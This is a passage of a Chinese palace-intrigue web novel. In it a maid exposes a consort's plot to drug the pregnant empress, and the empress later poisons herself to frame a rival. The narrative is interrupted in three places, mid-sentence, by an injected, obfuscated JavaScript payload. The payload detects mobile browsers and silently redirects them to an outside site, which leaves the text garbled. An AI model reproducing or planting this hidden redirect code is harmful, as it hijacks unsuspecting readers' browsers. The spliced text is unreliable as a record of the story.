若不是突然收到翠环的消息,沈青几乎快要忘了这个人,望着纸条上的时间地点,她心知,不得不去了。 沈青没有背叛皇后的意思,正因如此,她才更想要知道翠环要干什么。 若她不去,翠环想做什么固然会胎死腹中,但她与她背后的人仍会藏到暗处,等待时机给予皇后致命一击。 沈青记下纸条上的信息,就着烛火将纸条烧成灰烬,平静地踏出茶室。 茶室外,一名小宫女余光扫过沈青隐蔽的动作,这才敛目。 因为翠环要求的时间很急,沈青需要中午出去一会儿,才能与其接头,于是她便找了个去司饰司取妆粉的借口。 在经过景阳宫的长宫道上,沈青见到了等候着的翠环。 “翠环姐姐。” 翠环对沈青很满意,坤宁宫中递出的消息,沈青有机会但确实没将此事说与任何人,包括皇后。 不过这也在意料之中,沈青年纪小,自然恐惧被收买的事被皇后知道,担忧自己如今的地位会不稳固。所以她只能与虎谋皮,一步一步错下去。 至于后悔与反抗,只能说人之常情,除此之外,就少有人能有勇气破釜沉舟。 翠环微微一笑,不在意沈青眼中的晦暗:“沈青妹妹,别来无恙啊。” 沈青不说话。 翠环见此反而放心了:“我这里有一桩事想请妹妹帮忙,只要你能做到,此后我便不会再麻烦于你,你自去走你的阳关道——” 沈青不耐烦打断:“长话短说。” 翠环脸色一坏,但想到此人正被她要挟,便又觉得快意,她将袖子中的一包药递到沈青手中:“这是贵嫔娘娘交给我的,能让怀孕的人身材走样,脸上生斑,却不会危及胎儿的性命。贵嫔娘娘只希望皇上厌弃皇后娘娘,却没打算害皇嗣。所以妹妹的风险并不大。” 沈青佯装松了口气:“我要见惠贵嫔。” “贵嫔娘娘岂是你想见就能见的?”翠环愠怒。 沈青捏着药包:“我不见惠贵嫔,如何放心听从你们的指使?” 光翠环一个宫女筹谋此事,即便揭露,也只有翠环一人顶罪,伤不到幕后之人分毫,那她出来这一趟不就毫无收获? 连条大鱼都钓不到。 翠环思索一番,知道沈青的犹豫是合理的,于是将袖子中上有景阳宫三个字的令牌递给沈青,在她眼皮子底下一晃:“这便相信了吧。” 沈青揪住令牌不松手。 “你做什么?”翠环大惊失色。 沈青老实道:“拿到手里,若事情暴露,你们也不会不保我。” 她抬头,纳罕:“难道你们要把我推出去当替死鬼?” 翠环说着怎么会,与沈青暗暗较劲儿争令牌,但沈青的力气不知道为何那么大,令牌渐渐往她的方向送去。 翠环咬牙。 沈青一个使劲儿,把令牌完全拿到手里,连忙塞进袖子中,脸上还是不满意的模样:“那么小气,我答应帮你们办事,我的风险才最大,总要有些保障才好。幸而不是谋害皇嗣,不然就算被赶出坤宁宫,我也不会帮贵嫔娘娘做事。” 翠环心中冷笑连连,真是愚蠢,她说什么就信什么。 如此看来,沈青对皇后并非那么忠心。 “那么,贵嫔就等着你的好消息。” 沈青哼了一声:“自然。” 才怪。 27. 第 27 章 沈青和翠环交接完毕,没忘了此行的借口,去司饰司取完妆粉,这才打道回坤宁宫。 翠环给她让她害人的药粉,则被她嫌弃地扔进了荷包里。 沈青的荷包多,大不了这个就不要了。 回坤宁宫的路上,她在心中组织着措辞,脸上微红,是兴奋的。她想立刻去找皇后娘娘,揭露这场阴谋,从而表明她也没那么蠢的不信任娘娘。 以沈青对皇后娘娘的了解,她不怕自己宫人身上有什么麻烦事,唯独不喜的就是因此背叛她。 纵然坦白,皇后亦会站到宫人的角度给予理解。 不过沈青这桩事还有点小麻烦,因为当时并非翠环对她威逼利诱,以身家性命相要挟,而是她当时生病贪图翠环带来的医女,与那根沉手的金簪子。 哎,这就不得不暴露自己的贪财本性了。 若娘娘有什么惩罚,沈青亦是不怨的。 回到坤宁宫时,皇后还在午睡。怀孕的人总会贪觉,但能睡着,说明身体没什么不适,这是好事。 沈青先去找青古:“青古姐姐,我这里有一包药粉,似是对怀孕的人不好,你能帮我看一看吗?” 青古家学渊源,祖上曾出过御医,相处的时间久了,也知道她将家里藏书都看过一遍,小时候跟着行医的祖父出过诊,有些实践经验,应付小场面是够的。 未弄清这药粉到底是干什么的,沈青还没心大到直接拿到皇后面前。 万一与皇后身上某些东西混合,进而冲撞了皇后就不好了。 青古闻言,谨慎了两分:“拿出来让我看看。” 沈青将荷包拿出来,松荷包口,露出东西面貌,这才递给了青古。 青古撕开荷包里包着东西的纸,露出里面紫色的粉末颗粒,看着像没研磨完全。 青古皱眉,用手指捻了一点,放到鼻尖嗅了嗅,然后用舌尖尝了一小口,紧接着她便呸了出来,又拿水漱口。 “色紫,味腥,溶于水无色,有身子的人在怀孕初期长期服用,到怀孕三个月时,便会流产,还是正常小产的征兆。除此之外,里面还加了点小剂量加重孕期反应的东西,时间一长,必然使人憔悴。” 青古嫌恶地用帕子擦掉手上的痕迹。 沈青点头:“姐姐不问这东西我是从哪儿弄来的?” 青古心中有数道:“左不过是宫里的嫔妃为皇后娘娘准备的东西,就这点药粉,珍贵着呢,京中身体不适合再生育,偏偏又意外怀上的贵妇人,通常会用这东西流掉。若这里面没有加别的东西,倒能转手一卖,可惜了。” 沈青挠了挠头,也跟着道了句可惜,真是银子没地糟蹋。 紧接着她没忘此行的目的:“青古姐姐,其实这东西是有人托我偷偷下给娘娘的,这还源于我在织云殿时收了人家好处,她便觉得有了我的把柄,这才委派了我来。还好意思说什么不伤害皇嗣,当然了,我刚听这句话就知道她在糊弄我,再说了,就算是对娘娘好的好东西,纵然描述的天花乱坠,不经御医首肯,我也不会打着为娘娘好的旗号自作主张。” 沈青中间说起对方骗她,便觉得生气,接着就是好笑,她有那么蠢吗? 将话一口气说完,沈青笑眯眯又讨好地看向青古。 青古唇边露出一丝笑,赞扬道:“不错,很谨慎。” “还有一些事。”沈青为难道,“恐怕我得亲自告诉皇后娘娘。” 事关惠贵嫔,便是青玉青古两人加起来都做不了决断。 青古也不因沈青越级禀报而愤怒,很干脆应下:“行,等娘娘起身再说。” 天大的事,也得等皇后娘娘睡醒了。 沈青自然没什么意见,烫手山芋交出去了,她心里轻松极了:“我就知道青古姐姐最好了。” 青古心中熨帖,但不多,因为沈青是个花心的,她这番话对坤宁宫上上下下的宫人可能都说过。 尤其是小厨房的厨娘,最得她喜爱。 沈青抓耳挠腮等了一会儿,看到青玉带着宫女端盆从殿内出来,她便知道皇后起了,并且梳洗完毕了。 她朝青玉的方向走去。 青玉见到她来,顿住脚,宫女端盆离去,青玉目光询问地看向沈青。 沈青道:“青玉姐姐,我有事要向皇后娘娘禀报。” 青玉点头,带着她进去。 皇后坐在皇后宝座上,神情柔和,身上沐浴着午后的日光。 沈青走到皇后身边,将从翠环手中生拉硬拽到的景阳宫令牌递到皇后面前,诚恳道:“娘娘,奴婢有罪。” 欲扬先抑。 皇后接过令牌,好奇用手摩擦了一番,并未动怒,好声好气问:“这是怎么了?” 既没严重到生离死别,便算小事。且若真的有罪,亦不会是现在这副情形。 不过皇后也是真困惑,心里疑惑的嗯了一声。 沈青感叹着皇后不愧是皇后,这都从容镇定,真是和皇上越来越像了,于是不敢丝毫拖沓地从头道来。 “奴婢当时还是织云殿三等宫女的时候,以为一辈子都在三等宫女的位置上打转了,便昏了头受了景阳宫主殿,惠贵嫔身边二等宫女翠环的好处。如今兜兜转转,翠环以给予过我恩惠的事找上了门,要求奴婢为她办事。奴婢自然相信娘娘,愿意提前告诉娘娘此事,但奴婢更想搞清楚翠环要做什么,便未曾声张于今日晌午在景阳宫外的宫道上和翠环碰头。翠环胆大包天要奴婢给娘娘下药,说事成之后便不会再与奴婢联系,让奴婢从此以后安枕无忧。” “奴婢对她的说法自是嗤之以鼻,奴婢能到如今的地步仰仗的自然是娘娘,娘娘好,奴婢才能好,这点奴婢还是知道的。不过为了引出翠环背后的人,奴婢只能假意答应,让翠环拿出信物,翠环便将这枚令牌递了出来,本来她只想让奴婢看一眼,但我一瞧这不是重要证物吗?便直接按住拽了过来,因为在宫道上,翠环不好争抢乃至大打出手,便如了奴婢的意。” 沈青眉飞色舞,说到激动的地方恨不得伸手比划。 她目光炯炯看向皇后,似是在问皇后她做的是不是非常对,该不该夸。 更恨不得表达出她对皇后的忠心耿耿,绝不受人蛊惑的模样。 皇后升起兴致:“然后呢?” 沈青摊手:“然后奴婢就回来了,药粉交给了青古姐姐,是些害人的东西,娘娘不必担忧。” 皇后拍了下沈青的手:“油嘴滑舌。” 什么相信娘娘,什么仰仗娘娘,什么娘娘好她才能好。 说话简直比萱草还要直白。 但不可否认,皇后心里跟吃了蜜一样甜,不枉她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279976|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将沈青调到身边了。 皇后叹气:“惠贵嫔啊。” 【莫不是惠贵嫔怨恨本宫未给她升位份?】 【但谋害皇嗣来泄愤,为免也太过了。】 “娘娘,奴婢有一句话不知当讲不当讲。” 皇后点头:“说。” 沈青描补上遗漏之处:“其实从头到尾都是翠环来接触奴婢,没有其他任何人参与,甚至奴婢也没单独见过惠贵嫔,或是惠贵嫔身边倚重的大宫女。” 她回忆道:“在织云殿时,奴婢记得翠环也不是那么得惠贵嫔重用。若是重用的话,也不会现在还没当上大宫女,惠贵嫔身边的大宫女之位,有一段时间是空缺着一位,还是司薄司找了让惠贵嫔满意的宫女填补了上去。” 一直默默听着的青玉也道:“惠贵嫔常带出来的大宫女名为翡翠,惠贵嫔的一应事,也是交由翡翠去办的。” 皇后握着令牌,沉思道:“景阳宫主位令牌只此一枚,试探一下惠贵嫔是否知道令牌一事。” 【以我对惠贵嫔的了解,惠贵嫔应是没这个胆。】 【一个人再性情大变,也不会出手就干诛九族的事,此事,有疑点。】 青玉应是。 沈青青见两人都是有成算的,便将心放到了肚子里,不关她的事啦! 皇后又看向沈青:“沈青,你去通知芰荷,让她带着你和几个信任的宫人,去查一下今日和昨日坤宁宫出入过的宫人。” 沈青能收到信息,说明坤宁宫有内鬼,在帮着传递消息。 大抵是手伸不到她的饮食上,才交给了沈青。 唯一担忧的恐怕是幕后之人会舍车保帅,沈青和翠环不过是丢出来的弃子。 沈青正色应下:“是。” 皇后重用她,她自然要展现出稳重。 从皇后身边退出来,沈青便马不停蹄去找了芰荷,芰荷找来信任的宫人,或者说是大宫女们培养的心腹,开始挨个盘问起坤宁宫宫人这两天的行踪。 芰荷严肃起来,是任谁都不能触了她霉头的,且她擅长声东击西,搞人心态,三两句就能听出宫人话中的漏洞,并引出疏漏之处。 她通过宫人三三两两的作保与相互间的行迹,昨天独自出坤宁宫,有一段时间空白对不上的宫人便显露了出来。 芰荷笃定的视线扫到那名叫双茶的宫女身上,双茶不堪重负神情慌张。 任谁都能看出她的不对。 “双茶?”沈青后知后觉,“我早上在茶室时,双茶就在外面洒扫,我还冲她点了点头。” 作为一个二等宫女,她还没眼高于顶到不认得三等宫女,记不得三等宫女的名字。 因此凭着记性好,沈青很快串联了起来:“原来你那时是在盯着我是否看了纸条?” 双茶不说话,便是默认了。 芰荷一锤定音:“将此事报给娘娘,将双茶暂时看管起来,对外不要漏了痕迹,让有心之人得到消息。” 沈青青不喜麻烦,眼见着内鬼这么快就找到了,她又混上了资历,自然高兴。 加上皇后压根就没追究她的意思,便更是开心了。 接下来,属于她的职责,便只有选秀一事。不过大选事宜,亦有青玉顶在前头,虽然不好意思混来混去,但她就是个吉祥物的存在啊! 28. 第 28 章 皇上刚登基那年的选秀,只能称得上小规模,所以后宫只进了七个人。 这次选秀的规模空前庞大,且已提前通知各州郡于何时预备选秀,这道命令下发后,相应人员停止婚嫁。 当然,这个政令并不影响庶民。便是国丧,嫁娶影响的也只是有官爵的人家。 接着便是拟制适龄女子的名单,将家世不适合——祖上或亲眷犯过罪被影响之人,年龄不适合,患重病的去掉,名单上剩下的人则由朝廷出钱送往京城。 待秀女齐聚京城,选秀便进入下一个流程。 秀女被特许入宫,由宫内最老练且严苛的嬷嬷们检查仪容仪表,其中头发稀疏、眼睛过小、鼻梁塌陷、口唇太大、牙齿不齐、五官不正、胸部有瑕疵、腰身过粗、身高不够、肌肤黑等等,凡有一点,都会被淘汰出去。 当然,亦不乏有心入宫的人会给嬷嬷使银子或抬出宫中人脉,那嬷嬷便会略略放宽要求。 真正的小官之女能过了这一关,便意味着她身上无一处不好。 大半秀女在这里折戟沉沙,被遣返回家,剩下的只有二百余名得以留在宫里,由宫里的姑姑教导她们宫规礼仪。 秀女们被置于尚且空着的储秀宫内,此时秀女的名单也会被呈给皇后。 储秀宫的人一多,矛盾便必不可少,因每名秀女背后都有一位官员,一旦生事,便需皇后派人解决此事。平日里,也需派人前往储秀宫慰问秀女们,以此彰显皇后的母仪天下。 青玉和沈青干的便是这事。 青玉将秀女的名单交给沈青,道:“这里面有一个叫王令仪的秀女需要重点注意,王家在先皇之前频出皇后,最厉害的时候,垄断了三代帝王的皇后之位,如今势弱几十载,但仍底蕴深厚。当初朝中请皇上立后时,王令仪便是热门人选……” 沈青看到王令仪年十七的字样点头应下。 将名单翻看了一遍,两人便动身去储秀宫。 储秀宫的教习姑姑见到两人,走过来笑脸相迎道:“青玉姑姑,沈青姑娘,皇后娘娘让二位来可有什么示下?” 青玉道:“皇后娘娘仁厚,秀女们离家入宫,总归有些不便,便遣我二人来查看秀女们可有什么不适应的地方。若有,也好早早解决,不能让秀女们迁就。” 教习姑姑笑道:“储秀宫在秀女们入住之前,皇后便已派人将宫室内外修缮一新,无不妥之处。今年的秀女较以前更德容兼备,相互间亦没闹出什么矛盾。” 秀女不给教习姑姑找麻烦,她也乐于为秀女们说话。 她们一路往储秀宫内走,路上遇见几位好奇看过来的秀女,她们姿态散漫,神情恣意,被教习姑姑一瞪,纷纷记起宫中礼仪,垂首离去。 这是才教习了几天的秀女。 沈青听着教习姑姑给青玉介绍出色的秀女,显然,教出的秀女越出色,教习姑姑得的赏赐也会越多。 她将教习姑姑口中清秀婉约、恬淡端庄的女子形象与王令仪对上,将媚而不妖艳而不俗与陆云湄对上,将脱尘出俗幽兰自芳与陈皎对上,将清丽可人、月貌花容与楚秋娘对上。 除此之外,还有小家碧玉款的,饱读诗书款的,娇俏可爱款的,病美人款的等等。 其中病美人不是真的生病,而是那位秀女弱不禁风,在储秀宫偶感了咳疾,咳起来犹如病西施一般。 总之,这次秀女的质量真的很高,教习姑姑嘴角的笑容都要压不住了,显然是极为满意。 青玉和沈青听到有秀女生病,便让教习姑姑领她们去看。 教习姑姑只好转变了方向,将她们领到了“病西施”那里。 这名秀女名叫李宛意,比起她自身,更引人注目的则是她身为德妃堂妹的身份。 据说李宛意与德妃关系颇好,比嫡亲姊妹还要亲近几分,前几年德妃未入太子府时,李宛意便像个小尾巴似的常常跟在德妃身后。 青玉显然对李宛意的身份很清楚,见她躺在床上欲要起身,便上前扶住她的手腕:“李秀女不必起身,歇着便是。” 沈青这时也瞧清了李宛意的容貌,与德妃大为不同。 德妃亦属明艳美人那一挂,可她的美太锋利逼人了,像明珠,更像烈火。 李宛意则是如水一般的美人,她蹙起眉,看出了愁意,却并不会让人心烦,大概因为她眼含秋水。 青玉在询问李宛意的咳疾如何了,医女如何说,得到不碍事,快好了的回答后,又道:“李秀女不要不在意自己的身子,不然德妃娘娘该忧心了。” “堂姐……”李宛意苦笑一声,“娘娘恐怕仍在生我的气。” 她执意进宫,逆着家里和堂姐的意思,如今堂姐甚至不愿意让人给她带一句话,足见其不悦。可她却不后悔,堂姐当初野心勃勃想当皇后,主动成为太子侧妃,如今却棋差一招未能如愿,如果她再不进宫,堂姐身边甚至连个说话的人都没有。 大选三年一次,她只有一次机会,这次不能成功,下一回大选,她的年龄就超了。 青玉摸清李家堂姊妹的关系如何,便未顺着德妃的话头继续说。 然而李宛意心心念念着堂姐,却是主动问德妃在宫中怎么样。 德妃是皇后之下第一人,满宫的嫔妃也没有她生活的如意了,李宛意完全是杞人忧天,青玉挑挑捡捡将一些事关德妃,但众人皆知的事说与李宛意听。 这边,沈青检查了一番李秀女的住处是否有被宫人克扣的痕迹,然后在李秀女屋外遇到了另一位少女。她怀抱桃花枝,一两片桃花瓣落到发上,见到教习姑姑身边的沈青,神情迷惘,懵楞的很,像是没睡醒似的,是个很标志的无害美人。 教习姑姑主动道:“这位秀女名叫郑珠璎,与李秀女的关系颇好。” 沈青微笑着朝她点头致意。 郑珠璎道:“我是来找李姐姐的,她病了出不了门,我只好找些花枝相送,将春景也送到李姐姐眼前,好叫她心情好些。……你是皇后身边的宫人吗?” 沈青看了眼花枝,不太清楚李宛意那身体对花粉过敏不,但想到如果李宛意真对花粉过敏,应当不会收下这份礼物,便没出言多管。 教习姑姑神情一肃:“郑秀女,莫要多打听。” 沈青赶在郑珠璎要失落之前道:“不碍事,我等确实替皇后行事,秀女们知道皇后关心着她们,也能安心等待殿选。” 郑珠璎抿唇一笑:“我在民间便听到过皇后贤明的美名,心中非常敬仰,如果可以的话,之后想请姐姐帮我向皇后娘娘引荐一番。” 沈青一愣。 郑秀女的话浅显易懂,她自然听明白了,只是没有想到她还未真正成为嫔妃,便打算示好、站队皇后。 但她难道不清楚李宛意是德妃堂妹吗?她亲近李宛意,不就是向德妃表心意吗? 德妃和她堂妹不管现在关系如何复杂,在外人眼中,李宛意一直都是冠以德妃堂妹的名号,她们是密不可分的李家人,荣辱都是一体的。 沈青目光落到郑珠璎怀抱着的桃花枝,笑了笑,并未直接答应或是拒绝。 但仅仅见到了两位没什么名气的秀女,都给了沈青这么大惊喜,可以想象的到,大选过后,后宫是何等的热闹了。 沈青知道皇后是怎么想的,皇后巴不得新人出色些,这样落到她腹中皇嗣上的目光便少了。 很快,青玉从李秀女房内出来,紧接着和沈青观察了一番其他秀女。 李秀女和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288187|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑秀女算作开胃小菜,真见到了其他秀女,才明白了什么叫百花齐放,怕是天底下九成的绝色都被揽进了皇宫中。 回坤宁宫的路上,青玉道:“这回娘娘便要放心了,只是后宫嫔妃见了,就要坐不住了。” 沈青赞同点头。 皇后爱皇上,但她的爱并非那么赤诚,有的人爱人会嫉妒男人身边的任何女人,而皇后是世家照着宗妇培养出来的,无论嫁到哪家都会过得很好,她似乎天生就是雍容大度且世故的。 她极少对皇上黯然神伤,皇上的爱意更像是她稳坐皇后之位的锦上添花。 所以为了皇嗣的顺利诞生,为皇后宝座再添一层保障,皇后不吝啬于为皇上多纳些美人。 反正嫔妃不会威胁到她的位置,还得每日恭恭敬敬对她请安,何乐而不为呢? 因为有皇后的态度在,皇后的宫人不会对宫内的宠妃指摘什么,不需要去抹黑宠妃,来达到让皇后高兴的目的。 譬如现在正得宠,且稳稳压了兰婕妤一头的玉嫔,风光无两,坤宁宫的宫人也没有说在其请安时为难一番。那样的手段就太低级了。 皇后的孕期安稳,但仍有一件事让她动怒。 沈青默默了解了全部过程,毕竟皇后有事没想着瞒她,或者不经意就用心声透露了。 惠贵嫔确实不知道令牌已经丢失的事,但在皇后给她递来橄榄枝一同彻查幕后黑手的时候,她将翠环绑了送去刑罚宫人的地方,并主动去找皇上皇后言明她实在不知情。 这一番打草惊蛇后,翠环自缢,等人发现时已经有一会儿了,而双茶是个什么都不知道的,只笃定着知道越多死的越快,对指派她的人只记得是个面容普通的太监。 至此,线索全断。 皇上了解此事后望向皇后的目光很让皇后不舒服,皇后既觉得是她怀孕心思敏感,又觉得是皇上不满她瞒下此事,于是只能解释:“臣妾只想保全皇嗣。” 纪宸见此,哪还有什么不明白的,于是握住皇后的手:“朕不是在怪你,而是皇嗣本就有朕的一份,不光他的母后关心,他的父皇更关心。若是下次朕希望裳月能知会朕一声。” 态度堪称有些谦卑。 但对于为他孕育子嗣的皇后,这点态度还是有的。 皇后称是,仍有些不快:“那这件事便算了吗?” “朕会让钱全忠继续查,给皇后一个交代。” 皇后从乾清宫离开,纪宸独处了一会儿,让人将钱全忠叫过来,并未抬眼便道: “皇后险些被人谋害皇嗣,你可有什么要说的?” 钱全忠恭敬回答:“惠贵嫔如此果决,除了不想和皇后成为同盟外,奴才觉得,惠贵嫔或许知道幕后之人是谁,才做出此等举动,意在为其隐瞒。” 纪宸一言不发,拿起折子翻看起来。 钱全忠继续道:“能拿到景阳宫主位令牌,又能在坤宁宫安插人手,还让惠贵嫔为其保驾护航,奴才斗胆,猜测是颜贤妃。” 皇后入宫时间可比颜贤妃早,但身边能有颜贤妃的人,只能是太后提前安插下的一枚棋子。这也在表明,太后已经将一部分人手交给了侄女。 作为上一任宫斗赢家,又稳坐了那么长时间的皇后之位,宫里各处有点她的人再正常不过了。 纪宸叹了口气,他如何想不到。 还是那句话,皇上怀疑人不需要证据,证据这种东西可以慢慢佐证。如今钱全忠给出一样的答案,那就八九不离十了。 然而,颜贤妃是太后的侄女,他的表妹,纪宸既然没有在皇后在时言明,便意味着他想将此事瞒下来,人后发作。 “把朕库房的册套拿出来,挑女子喜欢的送到皇后的坤宁宫。” 29. 第 29 章 皇后从乾清宫出来便已调整好了情绪,不叫人看出丝毫不对。 她努力自省。 【本宫不该因为这件事迁怒皇上,夫妻情分本就是处出来的,而不是用来消耗的,更何况我这个半路册立的皇后。】 【皇上也不知道幕后之人是谁,能做的有限,但即便如此,也给出了态度。】 【我身为皇后,不该计较太多。】 皇后回到坤宁宫,神情已经归为平静,普通女子应该有的娇嗔痴怨未起便被她悄无声息压了下去。 等收到乾清宫送来的礼物清单,她让青玉将东西放入库房,唇边也含上了舒心的笑。 心情彻底转好。 皇上送给她这个皇后的东西当然不少,可这次的礼物却意味着他在哄她。 为乾清宫发生的一切表示歉疚,对皇后母子的疏忽感到惭愧。 一个帝王向她的妻子微微低下了头颅。 皇后便也满意了,晚上用膳也用了不少,更让人找来大选分散一下注意力。 沈青原本以为这件事已经过去了,刚放心没几天,有消息传出皇上在慈宁宫因贤妃侍奉太后不周而怒斥于她,汤碗也碎了一个。 当皇后问及宫中有什么事发生时。 沈青便将此事说与皇后听,然后还不待她继续说玉嫔与兰贵人在御花园因为一朵开得极盛的花起争执时,便发觉皇后的态度有异。 沈青抬头,见皇后不知什么时候安静了下来,笑容不再,眉眼有些痛苦。 她连忙开口:“娘娘是身子有什么不适吗?奴婢这就去叫太医!” “不必!”皇后的声音难得尖锐,手也抓住沈青的袖子,让她没法离开,她缓和了语气,“沈青,去把门关上,就我们两个人,本宫想静一静。” 沈青让室内的小宫女出去,四个大宫女此时不当值,所以这里地位最高的宫女就是她。所以皇后只留她一人,是很应当的事。 她将门关上,回到皇后身边,担忧道:“娘娘。” 皇后似有什么委屈,眼泪在眼眶中打转,看着沈青道:“如果有人骗了你怎么办?” 表情无助又脆弱。 沈青心疼坏了:“打回去!有人敢骗奴婢,奴婢就用拳头打回去,怎么解气怎么来。” “所以是有人骗了皇后娘娘吗?” 皇后缓缓点了点头。 沈青啐了一口:“真是个杀千刀的,这么好的娘娘也敢骗,吃了熊心豹子胆了!” 然而,她转念一想,能给皇后委屈受的人,天底下也不多了。 拢共就俩,一个皇上一个太后。 果然,皇后的下一句话便是:“慎言。” 【本宫如何能找皇上的过错。】 沈青做了个封口的动作,她也没胆大包天到指名道姓骂皇上,指桑骂槐而已,完全是无心之过。 她又问:“可是关于贤妃的?” 让皇后突然不高兴,不外乎她刚刚说的话,她刚刚话中主人公就三个,太后皇上贤妃。 再一排除,就剩贤妃了。 皇后没回答是与不是,靠在丝绸铺就的软座上,模棱两可道:“贤妃是太后亲侄女,皇上亲表妹,就算是她给本宫气受,本宫又能怎么样呢?” 皇后失落起来,现下对皇上也多了几分怨怼。 【皇上从不无故放矢,贤妃侍奉太后再周到不过了,去慈宁宫请安就连本宫都插不上手,皇上也多有赞扬。只能说明皇上知道那药是贤妃下的,人也是她早早安插的,所以才借此敲打贤妃。】 皇后心声给出的信息量实在太大,沈青也恍然,想起诸多细节。 惠贵嫔与贤妃在贤妃入宫后便开始交好,贤妃身上有利可图,所以即便贤妃收买了翠环,即便她因此事被牵连,惠贵嫔都会帮贤妃扫好尾,不然她这几年的隐忍谋算便只能是一场空了。 且惠贵嫔纵然帮皇后扳倒了贤妃又如何,贤妃背后有太后,必不能让她落到杜氏那般下场,到头来,皇后与太后斗法,她这个不受宠的惠贵嫔就只能沦为炮灰。 贤妃和皇后她总要得罪一个,因与贤妃有三年情谊,便注定不会选择皇后阵营。 这才导致了如今这般场面。 沈青只能安慰皇后:“您是皇后,贤妃再怎么样也不会越过您去,且娘娘还怀有皇嗣,待生下皇子,您便是嫡长子的生母,未来尊贵着呢。纵然贤妃是皇上的亲表妹,但这亲缘关系总有淡薄的时候,您瞧,皇上不还因为如此小事而当着太后的面责怪贤妃。” “皇上对贤妃的宽宥总有耗尽的时候,娘娘不同,娘娘与皇上的情分还长久着呢。” 皇后似是从这话中汲取了力量:“对,皇上与贤妃不过幼时见过几面,哪有那么深的情谊,还不是皇上看在太后的面子上给她尊贵体面。” 沈青见此一喜,再接再厉道:“娘娘这么想就对了,娘娘怀有皇嗣,皇上太后对此很期盼,现下这才是一等一重要的事。” 若论取舍,平安生下皇子,长子长孙的存在,皇上太后再偏心,也不会偏到贤妃身上。 皇嗣的紧要程度,那自不必说。 皇后抚了抚尚还平坦的腹部,目光沉沉:“对,本宫有孕在身,这是本宫的倚仗。” 【可本宫还是咽不下这口气。】 【凭什么颜氏能全身而退,查不到也就罢了,如今查到了,本宫怎能轻易放过她,给腹中胎儿留下遗患?】 沈青听到心声一哽。娘娘啊,孕妇最忌讳心思重! 她总算感受到了为什么宫斗小说中,明明千叮咛万嘱咐有孕的妃子以胎儿为重,宫女也是又劝又哄的,还能胡思乱想到流产收场。 她该怎么转移皇后的注意力? 皇后开口道:“把青古叫来。” 【若本宫腹中胎儿再遭毒手,皇上是偏向贤妃,还是偏向本宫?】 【皇上应是忍不了贤妃一而再的下毒手吧。】 虽然皇后的心声很犹豫,但沈青确定,皇后是有这方面的打算,她要以身涉险,借此机会痛击贤妃。 因为有前面犯下的事在,皇上正是疑心贤妃的时候,到时,贤妃是真的怎么也说不清了。 沈青焦急却又无可奈何,她不能对皇后指手画脚,亦不能拿皇后没说过的事阻止皇后,所以只能领命去找青古过来。 这次,只有青古在皇后身边,两人相谈了什么她是不得而知了。 几天后,皇后喝的羹汤中被人下了毒,因毒性过大,皇后只喝了两口,便感到身体不适,嘴中溢出了鲜血。 青玉抱住皇后,眼中流露出焦急,吼道:“速去传太医!” 坤宁宫乱糟糟一片,沈青拉住一名小宫女便往太医院跑。坤宁宫只常驻了一位医女,医术自然没有太医院的太医高,她不知道皇后对自己下了多大狠手,只能尽快将太医叫到坤宁宫。 路上,她遇见王定,想起王定是御前的人,焦急道:“皇后中毒吐血了!” 王定见她往太医院的方向跑,连忙道:“让太监去,他跑的快。你随我去御前请皇上。” 王定的话音未落,身边的太监快步跑了出去。 沈青道了一声也好,带着小宫女跟着王定往乾清宫方向赶。 此刻,请皇上主持大局或许更契合皇后的心思。 现下正值晌午用午膳的时候,事发突然,坤宁宫的宫人还没将消息递到皇上这边来,正晕头转向不知如何是好,等想起去请皇上时,只见皇上已经匆匆来到了坤宁宫,他身后跟着王积贵与沈青。 等纪宸进入殿中,发现皇后的脸色苍白,眼中惶惶,不停摸着肚子,至此,他才感受到心痛。 于是上前握住皇后的手:“朕来了,会没事。” 皇后反握住皇上的手,声音凄惶:“皇上,一定要查到幕后真凶,真凶一日不水落石出,臣妾心中便一日难安!” 此时,跟随王定的太监恰好把御医请来,于是皇上便没时间给皇后承诺,让出位置:“速速为皇后诊治,朕要皇后和胎儿都安!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293332|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 太医上前。 皇后眼见着与皇上的距离拉远,却无能为力,只能不甘心闭上了眼。 太医诊治了一番,又尝了一口那碗有毒羹汤,得出结论道:“皇上皇后,此乃剧毒,下在羹汤里是奔着害人性命的打算去的,不过因皇后喝的少,并未危及胎儿。然而,此毒发作极快,现下已毒入肺腑,纵然微臣将皇后救回来,日后也免不了受咳疾困扰。” 说着,太医便已开好了药方,交给青玉,让她拿下去熬药。 随即他展开装着银针的布包,开始施针为皇后控制毒素。 留在室内的青古见此松了一口气,太医院中的柳太医最擅解中毒之症,今日也是他当值,不然也不敢下如此剧毒。 再见皇上脸色铁青,她便知道,成了。 